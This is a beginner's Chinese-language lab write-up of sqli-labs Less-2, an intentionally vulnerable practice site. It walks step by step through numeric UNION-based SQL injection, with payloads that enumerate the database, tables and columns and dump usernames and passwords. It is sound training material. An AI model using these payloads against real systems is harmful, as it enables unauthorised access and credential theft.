zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less2学习记录

    Less2 数字型注入:union 联合查询注入

    1.判断是否为注入点以及注入类型
    (1)在id后面输入' 数据库报错,再次输入 'and 1=1--+ 数据库依旧报错,这里应该不是一个字符型注入
    (2)在id后直接输入 and 1=1 --+ 发现页面返回正常,and 1=2 --+ 页面返回错误则说明这里应该是一个数字型的注入点
    2.order by 语句查询列数
    根据order by 3--+ 判断此处应该有3列
    3.获取数据库名
    使用union select 联合查询语句获取数据库名
    输入 ?id=-1 union select 1,2,database()--+ 获取其数据库名为security
    4.获取表名
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    查询到的表名有 emails,referers,uagents,users 其中users应该为需要查询的用户表
    5.获取列名
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
    查询到的列名有 id,username,password
    6.获取字段内容
    ?id=-1 union select 1,2,group_concat(username,"~",password) from users--+
    即可获取username和password

    PS:小白总结

    (1)Less2是数字型注入,在注入语句上与Less1差距不大,这里不需要单引号  ' 闭合
    (2)
    注入漏洞就是将输入的数据代入数据库去执行,通过一些数据库语句去获取更多的信息
    字符型注入当输入的 id=n时,代数数据库执行的语言大概是
    select * from tbname where id = 'n'
    输入id=n' and 1=1 ,页面正常执行
    select * from tbname where id = 'n' and 1=1
    语法正确,逻辑判断1=1 正确所以页面返回正确

    (3)
    数字型注入当输入 id=n时,代入数据库执行的语言大概是
    select * from tbname where id = n
    输入id=n and 1=1 ,页面正常执行
    select * from tbname where id = n and 1=1
    语法正确,逻辑判断 1=1 也正确,页面返回正确

    通过这两个语句的比较,数字型参数是整型,字符型的参数是字符串。数字型与字符型的最大区别就在于字符型的注入需要 ' 闭合。

     

    小白的注入学习记录!!

  • 相关阅读:
    nginx负载均衡
    mysqld: Out of memory Centos 创建swap分区解决
    redis 基本命令
    查看日志常用命令
    StringIO和BytesIO
    paramiko初识
    微信小程序-drf登录认证组件
    微信小程序之模块化--module.exports
    celery 定时任务报错一
    微信小程序跨页面传值
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less2.html
Copyright © 2011-2022 走看看